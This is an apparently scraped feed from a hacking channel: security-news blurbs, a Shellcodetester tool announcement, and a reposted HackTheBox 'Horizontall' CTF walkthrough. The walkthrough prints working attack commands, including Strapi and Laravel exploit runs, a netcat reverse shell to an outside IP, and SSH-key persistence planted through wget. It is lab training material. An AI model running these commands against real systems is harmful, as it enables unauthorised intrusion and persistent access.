Dark Reading: Attacks/Breaches
NYU Tandon Launches Chief Information Security Officer Program

Featuring in-depth core sessions and topical electives, the nine-month program takes a risk-based approach to cyber strategy.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
2022 Executive Women's Forum Annual Conference to Be In Person for 20th Anniversary Celebration

This year’s theme is “Celebrating 20 Years of Building Women Leaders.”

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Netacea Announces $12M Series A Investment

New funding will be used to grow Netacea’s presence in US and UK bot mitigation markets.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
The Unsettling Reason Why Your Help Desk May Be Your Greatest Security Vulnerability

A rogue help-desk employee could gain access to user accounts through unauthorized password resets. It's time to bring zero trust to the help desk.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Red Canary Launches Partner Program

Red Canary Partner Connect will unite a diverse ecosystem of incident response, risk and managed services partners.

___________________________
@hacking_Attack
@Hacking_Video

Shellcodetester - An Application To Test Windows And Linux Shellcodes

This tools test generated ShellCodes. Usage Exemple ShellCode Tester Linux Instalation git clone https://github.com/helviojunior/shellcodetester.gitcd shellcodetester/Linuxmake Usage Without break-point: shellcodetester file.asm With break-point (INT3). The break-point will be inserted before our generated shellcode: shellcodetester file.asm --break-point Download Shellcodetester
Read more...

___________________________
@hacking_Attack
@Hacking_Video

Shellcodetester - An Application To Test Windows And Linux Shellcodes
http://www.kitploit.com/2022/02/shellcodetester-application-to-test.html

___________________________
@hacking_Attack
@Hacking_Video

This tools test generated ShellCodes.
Usage

___________________________
@hacking_Attack
@Hacking_Video

Exemple

___________________________
@hacking_Attack
@Hacking_Video

ShellCode Tester Linux Instalation git clone https://github.com/helviojunior/shellcodetester.git
cd shellcodetester/Linux
make
Usage Without break-point: shellcodetester [file.asm]
With break-point (INT3). The break-point will be inserted before our generated shellcode: shellcodetester [file.asm] --break-point


Download Shellcodetester (https://github.com/helviojunior/shellcodetester)

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Horizontall HackTheBox Walkthrough

IntroductionHorizontall is an “easy” rated CTF Linux box on Hack The Box platform. The box covers initial compromise by exploiting Strapi RCE vulnerability and escalating privileges by tunnelling an internal application (Laravel) to a local machine and running a PoC exploit on Laravel v 7.4.18 Table of ContentNetwork Scanning

* nmap

Enumeration

* Subdomain enumeration using wfuzz
* Strapi password reset exploit

Exploitation

* Exploiting strapi CVE-2019-18818 to gain a reverse shell
* Initial information gathering
* Setting up my SSH key in the victim’s authorized_keys file

Privilege Escalation

* Tunnelling internal website to our system
* Exploiting Laravel CVE-2021-3129 to snag root flag

Let’s begin Network ScanningFirst, we will run a nmap scan on the victim machine
nmap -sV -sC -Pn 10.129.149.92
https://blogger.googleusercontent.com/img/a/AVvXsEgpA-ERDt2IsmWu1onaA-eMoZwP8bM2uw9PiJTKSVhKoFR54wVRzWG5wS5slegvKNv96-piH_BX9d2EJ-JBGaOxii2snN8fZzMBYisTeSiDuFnZrphFY1QlfDB-xsujwKCaqC32lNPf9rvtTSaeahA3fCA0SdRdcQgGqnBHE8N0dIf74HfEzZcEmpP21w=s16000 EnumerationSince there was a website running on port 80, we added the address in our hosts file for resolution.

https://blogger.googleusercontent.com/img/a/AVvXsEgwHC_tGTATWngd_dgXA-pUAoRGFprzxSxuAmRfl_NxWvjAqHwtYx98isQx33lw-Pk3q6v8Q7-tpRnFasx6qntPzKTpdYuzdY4-pQF7tIAZpkL8x-t8Z239lAQyjcHT_-2zJgTHYX_kL6XcNFtfXaxRLFWKj6I9AuIlnEzixwhDTRno1k8wZeSO6WhMBg=s16000

We tried to look for exploitable vectors on the website itself but couldn’t find any which indicated that we need to enumerate directories.

Even directories enum didn’t yield any results so we tried to enumerate subdomains.
wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.horizontall.htb" --sc 200 10.129.149.92
This returned back an interesting subdomain called api-prod

https://blogger.googleusercontent.com/img/a/AVvXsEjljDsUWotESFbHKm6-bWJCD12yfeQWqhWLTbpm0kPZQdpJ_xowE71mD7kN7mhG9QEk3gdWMGoZRbZfJjpYfqxp_vNI3aq0ebVNgqi3s6XhGsUoj71ravIYXcuS2rRR0ZtkjlpmPXDDmlHo1JwHJh0blgFHO9x6BrzxHqxcCOoaKBskwYg7JRUzgNIzNw=s16000

We add this subdomain in hosts file and try to open the website.
echo "10.129.149.92   api-prod.horizontall.htb" >> /etc/hosts
https://blogger.googleusercontent.com/img/a/AVvXsEhpkAZ1FQs1vINrFT3yNzeAQkUBox1nTSnNah3GeSiEV2eTGyIPZ4cpdN_mH_lfagNRDvjotfYtJ836KXZX5RU_KFMmhJx3cItwy6f1yu515CYVjdbfSMR8LlZ9ynhLajeA7mrczF2tcplH1_NKjMKjlHF7-pFqrQGLiJ5ISMGKIt2SG_DJ0gKKyGx0_g=s16000

It seemed like a plain website with no vectors again and thus, we tried directory enumeration. We found a directory /admin. Upon checking the components that made this website, we found the title to be strapi.
whatweb http://api-prod.horizontall.htb/admin/
https://blogger.googleusercontent.com/img/a/AVvXsEimfroWYSUi1l_gg2u2KOWFlyXtQy0UO7pcFA_13LhNTK6-GU9OWI8g6P9dODQk8rTY7nSMAQ8kU-546CCQGx-XgQGXMNitJpK5N6MW1g50oQTdBQ5-PkpEHEtweHKNxBNt6GMKmDAVRcTbw_8Imz88hk1DWXvJCIP2G-r-JDqv3nPL6FCrGr9dPoBhhA=s16000

We observed the response in burp and noticed strapi version to be 3.0.0-beta 17.4

https://blogger.googleusercontent.com/img/a/AVvXsEiCJ8FgYHLpzxFTOdtwRwzcnHXhtUbc2NH_ehA9tppXwpZUVlKdpIJWRz5XgsL9HCbz7x2_L96MfIcWW4um32hlBV8Ev-kaKCwF2LH6afj-GKoyTn8OFA3Xu6MIripA_Y12Sg0mGnZAlnPvt1zXMqwuhWLgLgddxw6sQcDesQWrxvUuDs7tImeGVplX5Q=s16000 ExploitationSearchsploit results showed us an exploit for the given version was available. This version was afflicted with CVE-2019-18818. This vulnerability allows an attacker to reset the admin password without needing authentication tokens. You can read more about the vulnerability here. We downloaded the exploit using searchsploit.
searchsploit -m 50239
https://blogger.googleusercontent.com/img/a/AVvXsEi5MFzlFitOzFqNd_7o471GSyoxDAOHL7QYU6SX4cAgVjYKlGVn[...]

___________________________
@hacking_Attack
@Hacking_Video

rfgy7nKbgdxlJODdAoRzh3jgotusrqMRJJ0K0SLFZOEe2GBb6OBWvTTTJG5KdbIaUCQWIyiDXq9YaiYOH4j5S6f_IhKttnMJwPQU-bxXoOBSUCM5QrNdofCY8dypL9Gl7b0TqNHpog=s16000

Running the exploit was quite simple, just passing the URL as an argument sufficed.
python3 50239.py http://api-prod.horizontall.htb
https://blogger.googleusercontent.com/img/a/AVvXsEiPw5s6mGSrjSKa3HKlIXmzsNZ2QsUw6qom0o5XW1U2elUnwKWleSjHqb_KoHP5XqgIYC-xMaIz_GxtpZE8u2h_5BmdRbo6o55fsXAauvM1hoXSIHzxzis1OdbMJTNurItvjBmzHwI5UJk1nMQBcj3VhNeFK184BHdpwqKIRbkTqYbW5IoI6JT5hYFmqg=s16000

As you could see, the password was reset. One could login using this. AS you can see, in the response, we can confirm that the account is an admin.

https://blogger.googleusercontent.com/img/a/AVvXsEiCZbfNIbVqs0hk_8cAV88UA0mnnF9uFcQTbfNzx4kWEA0FHIORkofZ0-HZUAvtG4Znfh4eGmZB5XKvlkPoYnHLrpdTnH_BIn21FzsXLvfe6TfkY4h6nJB9M2reVcYQAsy6v9FfgPODNvGuu-jZ-IekYXpf3S8VAdLhyanIsdoFtrnX5yUaxWedOFTM_w=s16000

However, the exploit also opened an option to run remote commands on the server! After a lot of tries, we found a reverse shell that seemed to be working.
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.10 1234 >/tmp/f
https://blogger.googleusercontent.com/img/a/AVvXsEhqlZFjAICLL-g8SiUYcxf554p3oRvYg9lLhfPSN5cf-1bd7d0U6ovBfJsCjLTySEzwoyczLEspFFHZXOhEhpNxzcwRymxuyCbMHWwvjDu5qwolq0EXkSuXHq_G4f8RDlz6Qlq2WjOpDBG-MbPdVMaieoVrknUfPggBtJwEfKKAPZvUrCeS7kqjJW_A5g=s16000

We had already set up a listener on port 1234 which had now received a new session. We converted this into a proper teletype using python.
nc -nlvp 1234
python3 -c 'import pty;pty.spawn("/bin/bash")'
https://blogger.googleusercontent.com/img/a/AVvXsEjQKE5mPfu0ng3p4Cj614K8GCMlPTDXOoi3TQotVKs2UKBSgB4SumnDSAGkx4-31yA2YEzsjEG9ypr7iGSKJ_TJOQQUC_Q2Q19qFKUu9cYJwNcRG0-r1pnZ0c55nmYmRmeHxj3nXtnDO_QLIkz6mCwITzJHN55kcIxr4xiULiaVYYoWiIUqwPWsra_d_w=s16000 Privilege EscalationUpon looking around this server, we observed a few unhelpful things. Finally, a netstat command gave us the path forward. The server seemed to be listening on port 8000. This could mean an internal service is running.
netstat -plant
https://blogger.googleusercontent.com/img/a/AVvXsEipnU1CdAA_KsSU0Bhk-r7F8JaDasCtyhhGpj8kxGWb7CqWrBly4rWPJjTvOyc6WvVsxJrRqwxDxyQ5RzIqY9zpTdmL8J2zaN-G8afn37W5gcQkF7q8-v3W1DP4j15UVfh3ti4Pgk-9Vg8mJ28I-WHl0g6-r5M0_lV4jLbRrKezOTZr8jXg0g9g5RAVLg=s16000

Since there is no PID associated with the port, it means that the service was running. The best bet is a website. Another interesting thing was that the user strapi had rwx permissions on the .ssh directory.
cd ~
ls -la
pwd
cd .ssh
https://blogger.googleusercontent.com/img/a/AVvXsEj4_gzVOHLD-vAMVm4QgjI8VbiAQRzsUOpa4-XcOT23_r4IH4jCRRLN0xYq6vNxdRghidlLgcC5M6VLd4QpYf47Q4aYcOWojiNhNS2LDPOjPB7NnceDagbPmPW-bGgwx1-tSHV6bqyQvNDWoe7blo2el22Z1IpW7-_7lEBptPcVYvzb8SkC8SnAB2tc8g=s16000

Therefore, the plan forward is:

1. Add my own SSH public key in the server’s authorized_keys
2. Start a TCP tunnel to forward port 8000 to my local system
3. Explore the service on port 8000.

For this, I generated a new SSH key pair using ssh-keygen command

https://blogger.googleusercontent.com/img/a/AVvXsEgjmczvdIxNyfviTm0tvH3KHkKfZo_FvFxexzAFx7AUc51v3BGsiReY-7r1HV8M5DYMUN1Nyei7dCJZxCJwVitMrZwjcC8yjLsb5nQzV2j1NUft-a0YPHNssn6Yc1sYD-QrqYrU0wkX5XpQE0PFc-tT4fo5DmHKW5v7Y8at45oOTIvfnEMrbE-pO3tIVQ=s16000

I then copied my id_rsa.pub key as authorized_keys and started a web server using python.
ssh-keygen
cp id_rsa.pub authorized_keys
python3 -m http.server 80
https://blogger.googleusercontent.com/img/a/AVvXsEgJCmgDdkQq_FaqPTi7qAcMzybNoMK-3eBfLUNZ57G19jKK1Z0rWdjh7tniiNeZUf4x870uzDTUv_Y0pBrIiHWGLIJUZq8jDVHv3WPRCEx6SL2Qie3wtgvmUcHMZs2iK9_D5bATRQOFc8QjRPYqB0WQ4b7VLpHOfeWgp73Nj_JQABTctbMdjvjD-2FwhA=s16000

I then downloaded this file in my server using wget in the directory ~ /.ssh
wget http://10.10.16.10/authorized_keys
https://blogger.googleusercontent.com/img/a/AVvXsEgPT7iV60gk[...]

___________________________
@hacking_Attack
@Hacking_Video

9vSBLdK7eDeVI7RdmJ2-wbIpFZw_ewUl8wc5H3OqZ0n63eGtc-OdzKbioP0GHXc0jTftJE18DO3pqnM8NclM09PWMi6ndCxZJ-TPMMn6vRachjCjWgkn-l7Pp9J6JoAQkcnWXZvdg5c3XEKuF3coL5dmeDomMlxK0rmXLT7xTrTViG8U4w=s16000

As it had got copied, we could now run an SSH tunnel and forward port 8000 to our local system’s port 8000 using the command:
ssh -i id_rsa -L 8000:localhost:8000 strapi@10.129.149.92
https://blogger.googleusercontent.com/img/a/AVvXsEg5P8O-YazC63GrD3ASQtSzgC7vF2il1g_B5-XYrhPEaqRkPreEo3stdTN0e3ahUodc9l85gHmS2v4u3KNmAgHwxsBqStVNeb0ZcZPAPbqLXy7smSRH8X4AIg-5oE0bdEBPjBZGv8x-queG6RB3H2eY05xSEdeseFNz-qwvmh96SwP_MeDdLjiw2mJxpA=s16000

Now, upon traversing local port 8000 in the web browser, we observed that Laravel version 7.4.18 was running.
http://localhost:8000
https://blogger.googleusercontent.com/img/a/AVvXsEiAXPSwohpMtVZcTJH0oBsHQyhdwEnb1jxJfwSOHgPQdvE5thNIdgdhfX56s9uN33rR0jZhUad0hhLv-2tvPmdaSFTQ4opweFMdAQo1osVMd0UtG1h8Sqicyov9VRSRtRgUP-HQcHXaIJK1laNJb1Tc1ykyF9XaGV_468sxDHIqhY4JgOQvgZjDzmwBYw=s16000

This version is vulnerable to CVE-2021-3129. This vulnerability allows an attacker to execute code because of an insecure implementation of the file_get_contents() function. A PoC is available on github (ref here) which we cloned and ran.
git clone https://github.com/nth347/CVE-2021-3129_exploit.git
cd CVE-2021-3129_exploit
chmod +x exploit.py
./exploit.py http://localhost:8000 Monolog/RCE1 id
./exploit.py http://localhost:8000 Monolog/RCE1 "cat /root/root.txt"
https://blogger.googleusercontent.com/img/a/AVvXsEidDZ8aYKOKJJfCc7h4kGGaqnWFvPISMV-dAZrUt1N7adEUKXVfGSZ1m4l1u-pTHadUW45IHQSMWOPYHu4X3rGRDqKAwUTH67CWW0jnla3jCR86YLCvh5cPrRNYGyMVlPK0h2WBwbSPugLCW1t4__qSGnEw5Be6TeB_LFt31apDr16MEijC61iJVbyijg=s16000

And as you can see, the application was owned by root and thus we are able to execute commands as root. This is how we escalated our privileges and snagged the root flag. ConclusionThe lab offers a practical understanding of googling, understanding, finding public exploits and running them to exploit a server. In our humble opinion, the website is suitable for beginners or students practising for OSCP. Hope you liked the article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post Horizontall HackTheBox Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video